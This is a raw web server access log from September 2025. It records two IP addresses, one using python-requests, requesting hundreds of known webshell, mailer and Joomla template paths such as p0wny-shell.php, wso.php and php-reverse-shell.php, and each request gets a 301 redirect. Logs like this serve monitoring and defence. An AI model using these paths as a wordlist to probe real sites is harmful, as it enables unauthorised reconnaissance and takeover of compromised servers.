196.251.80.56 - - [23/Sep/2025:15:20:44 -0400] "GET /md.php.png HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:20:00 -0400] "GET /mapis.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:20:10 -0400] "GET /marijuana.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:20:15 -0400] "GET /marjanxfiles2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:20:21 -0400] "GET /marjun.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:20:31 -0400] "GET /masssmtp.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:20:31 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:20:50 -0400] "GET /me.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:20:54 -0400] "GET /me0909.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:20:57 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:21:09 -0400] "GET /melon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:21:13 -0400] "GET /memu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:21:17 -0400] "GET /memwk.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:21:18 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:21:23 -0400] "GET /mf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:21:27 -0400] "GET /mf4shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:21:31 -0400] "GET /mg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:21:50 -0400] "GET /mini.php2 HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:21:52 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:21:53 -0400] "GET /mini.php3 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:21:57 -0400] "GET /mini.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:22:04 -0400] "GET /mini1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:22:22 -0400] "GET /minicrot.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:22:27 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:22:30 -0400] "GET /minish3llkct.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:22:45 -0400] "GET /minishelletw.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:22:57 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:23:07 -0400] "GET /minpal.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:23:16 -0400] "GET /mis.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:23:20 -0400] "GET /misel.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:23:28 -0400] "GET /mitmidx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:23:32 -0400] "GET /mix.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:23:40 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:23:45 -0400] "GET /mkedjoe43kcrcmmros.php.txt HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:23:45 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:23:48 -0400] "GET /mlih.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:23:59 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:24:03 -0400] "GET /mrx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:24:05 -0400] "GET /mrxstars.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:24:08 -0400] "GET /mshelp.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:24:09 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:24:10 -0400] "GET /msl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:24:13 -0400] "GET /mss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:24:19 -0400] "GET /munther.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:24:22 -0400] "GET /musi1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:24:25 -0400] "GET /mutman.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:24:41 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:24:41 -0400] "GET /my.filter.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:24:44 -0400] "GET /my.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:20:58 -0400] "GET /mek.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:21:05 -0400] "GET /mellfile.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:21:08 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
130.211.50.131 - - [23/Sep/2025:15:21:29 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:21:38 -0400] "GET /mini%20(2).php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:21:41 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:21:42 -0400] "GET /mini-shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:21:46 -0400] "GET /mini.p.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:22:08 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:22:08 -0400] "GET /mini_2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:22:14 -0400] "GET /mini_shell.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:22:18 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:22:19 -0400] "GET /mini_shell.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:22:26 -0400] "GET /minilog.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:22:35 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:22:36 -0400] "GET /minishell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:22:41 -0400] "GET /minishell.phtml HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:22:44 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:22:49 -0400] "GET /minishellram.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:22:55 -0400] "GET /miniwew.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:22:59 -0400] "GET /minix.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:23:11 -0400] "GET /mireishell.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:23:19 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:23:24 -0400] "GET /mishell.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:23:28 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:23:36 -0400] "GET /miya.txt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:23:42 -0400] "GET /mizera.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:23:53 -0400] "GET /momo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:23:57 -0400] "GET /mota3added.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:24:00 -0400] "GET /mr.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:24:07 -0400] "GET /ms-sitess.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:24:16 -0400] "GET /mue.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:24:22 -0400] "GET /administrator/templates/bluestork/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:24:29 -0400] "GET /mwehe.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:24:34 -0400] "GET /mx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:24:38 -0400] "GET /my%20shell.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:24:51 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:24:58 -0400] "GET /myshells.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:25:04 -0400] "GET /myxc.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:25:09 -0400] "GET /n1chu.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:25:11 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:24:50 -0400] "GET /my_sql.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:24:53 -0400] "GET /mys.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:25:20 -0400] "GET /na.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:25:23 -0400] "GET /na.php.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:25:27 -0400] "GET /nah1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:25:37 -0400] "GET /nc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:25:41 -0400] "GET /ndy.php.txt HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:25:45 -0400] "GET /neko.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:25:49 -0400] "GET /nemshell.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:25:51 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:26:12 -0400] "GET /ngemis.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:26:16 -0400] "GET /ngens.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:26:21 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:26:21 -0400] "GET /ngorokes.php.ndsfx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:26:24 -0400] "GET /ni.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:26:30 -0400] "GET /nice.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:26:34 -0400] "GET /nie.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:26:38 -0400] "GET /templates/system/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:26:41 -0400] "GET /nih.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:26:50 -0400] "GET /nisa.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:26:53 -0400] "GET /templates/system/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:26:58 -0400] "GET /nobp.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:27:00 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:27:14 -0400] "GET /noname(2).php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:27:19 -0400] "GET /noor.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:27:22 -0400] "GET /novi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:27:34 -0400] "GET /nuoiv2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:27:45 -0400] "GET /nws.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:28:02 -0400] "GET /oki.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:28:07 -0400] "GET /okok.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:28:14 -0400] "GET /ola.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:28:18 -0400] "GET /omest.aspx HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:28:20 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:28:21 -0400] "GET /onee.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:28:26 -0400] "GET /onici.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:28:45 -0400] "GET /options-post.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:28:51 -0400] "GET /orange.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:28:55 -0400] "GET /orvxxx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:29:09 -0400] "GET /owned.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:29:15 -0400] "GET /ozelrans.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:29:22 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:29:26 -0400] "GET /p7771.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:25:12 -0400] "GET /n30mailer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:25:16 -0400] "GET /n30mailer___mailer_php_script_inbox_to_all_2020.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:25:24 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:25:33 -0400] "GET /nanameong.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:25:40 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:25:52 -0400] "GET /netsecid.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:25:56 -0400] "GET /newfile.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:25:59 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:26:04 -0400] "GET /nexov.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:26:07 -0400] "GET /nexov.php5 HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:26:08 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:26:37 -0400] "GET /nightshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:26:45 -0400] "GET /nini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:26:53 -0400] "GET /nobita.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:27:03 -0400] "GET /nolep.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:27:09 -0400] "GET /nologin.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:27:22 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:27:27 -0400] "GET /np.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:27:31 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:27:39 -0400] "GET /nv.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:27:49 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:27:50 -0400] "GET /ob.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:27:54 -0400] "GET /oela.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:27:58 -0400] "GET /ogede10@@@@@.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:27:59 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:28:12 -0400] "GET /okon3mailer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:28:31 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:28:32 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:28:35 -0400] "GET /ooll.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:28:39 -0400] "GET /ophellia.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:28:43 -0400] "GET /opik.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:28:44 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:29:01 -0400] "GET /owlmailer.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:29:03 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:29:19 -0400] "GET /p-xploit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:29:22 -0400] "GET /p0wny-shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:29:30 -0400] "GET /paan.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:29:37 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:29:42 -0400] "GET /pagina_topflop.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:29:48 -0400] "GET /paingshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:29:58 -0400] "GET /papicemot212.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:30:05 -0400] "GET /patnolud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:30:20 -0400] "GET /payload.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:30:22 -0400] "GET /pcl7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:30:26 -0400] "GET /penting.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:30:29 -0400] "GET /personal%20(1).php HTTP/1.1" 301 795 "-" "-"
13.40.72.148 - - [23/Sep/2025:15:30:30 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:15:30:31 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:15:30:33 -0400] "GET /pfm.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:30:49 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:30:50 -0400] "GET /php-reverse-shell.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:31:03 -0400] "GET /img/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:31:17 -0400] "GET /php_variable.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:31:23 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:31:31 -0400] "GET /phpmini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:31:35 -0400] "GET /pic.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:31:40 -0400] "GET /pimini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:31:47 -0400] "GET /pinal.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:31:56 -0400] "GET /pk.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:31:59 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:32:00 -0400] "GET /pload_image.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:32:04 -0400] "GET /plugini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:32:10 -0400] "GET /png.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:32:13 -0400] "GET /po.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:32:17 -0400] "GET /popup.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:32:18 -0400] "GET /pdf/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:32:23 -0400] "GET /powny.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:32:29 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:32:34 -0400] "GET /pr.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:32:38 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:32:42 -0400] "GET /priv-ai.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:32:45 -0400] "GET /priv.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:32:49 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:32:53 -0400] "GET /priv8.php.pdf HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:32:58 -0400] "GET /privshellanon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:33:04 -0400] "GET /proc.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:33:12 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:33:25 -0400] "GET /ps162.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:33:38 -0400] "GET /public.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:33:48 -0400] "GET /putri.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:33:54 -0400] "GET /py.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:29:34 -0400] "GET /paciw2.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:29:37 -0400] "GET /pagina_formfield.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:29:47 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:29:53 -0400] "GET /pantat.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:30:07 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:30:09 -0400] "GET /pausi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:30:17 -0400] "GET /pay4d.shtml HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:30:30 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
206.189.247.132 - - [23/Sep/2025:15:30:30 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.29 - - [23/Sep/2025:15:30:30 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:15:30:37 -0400] "GET /phonics.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:30:42 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:31:00 -0400] "GET /php_mail.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:31:24 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:31:26 -0400] "GET /phplibs.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:31:35 -0400] "GET /gallery/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:31:50 -0400] "GET /pip.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:32:07 -0400] "GET /plugins.phtml HTTP/1.1" 301 795 "-" "-"
